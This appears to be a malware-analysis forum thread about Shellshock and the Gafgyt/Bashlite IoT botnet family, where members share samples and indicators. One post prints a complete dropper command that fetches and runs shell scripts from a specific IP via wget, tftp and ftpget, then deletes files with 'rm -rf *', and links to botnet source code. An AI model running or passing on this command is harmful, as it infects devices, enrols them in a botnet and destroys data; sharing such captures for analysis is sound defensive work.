Linux/Bash0day alias Shellshock alias Bashdoor

Forum for analysis and discussion about malware.

Re: Malware collection

Postby ikolor » Mon Oct 03, 2016 6:43 pm

You do not have the required permissions to view the files attached to this post.
ikolor
 
Posts: 262
Joined: Thu Jun 05, 2014 2:20 pm
Location: Poland
Reputation point: 16

Re: Malware collection

Postby tWiCe » Tue Oct 04, 2016 8:01 am



Linux.BackDoor.Fgt aka GafGyt/Bashlite. Some are old (not even stripped), some are more recent with encrypted strings.
tWiCe
 
Posts: 49
Joined: Sat Jul 18, 2015 8:56 am
Reputation point: 25

Re: Linux/Bash0day alias Shellshock alias Bashdoor

Postby jioushizhu » Tue Oct 11, 2016 4:42 am

https://github.com/gh0std4ncer/lizkebab
46.165.253.13:4574 ok
cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; busybox wget http://46.165.253.13/IoT.sh; chmod 777 IoT.sh; sh IoT.sh; tftp 46.165.253.13 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 46.165.253.13; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 46.165.253.13 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf IoT.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n
You do not have the required permissions to view the files attached to this post.
User avatar
jioushizhu
 
Posts: 10
Joined: Wed Jan 25, 2012 2:55 am
Reputation point: 1

Previous

Return to Malware

Who is online

Users browsing this forum: No registered users and 8 guests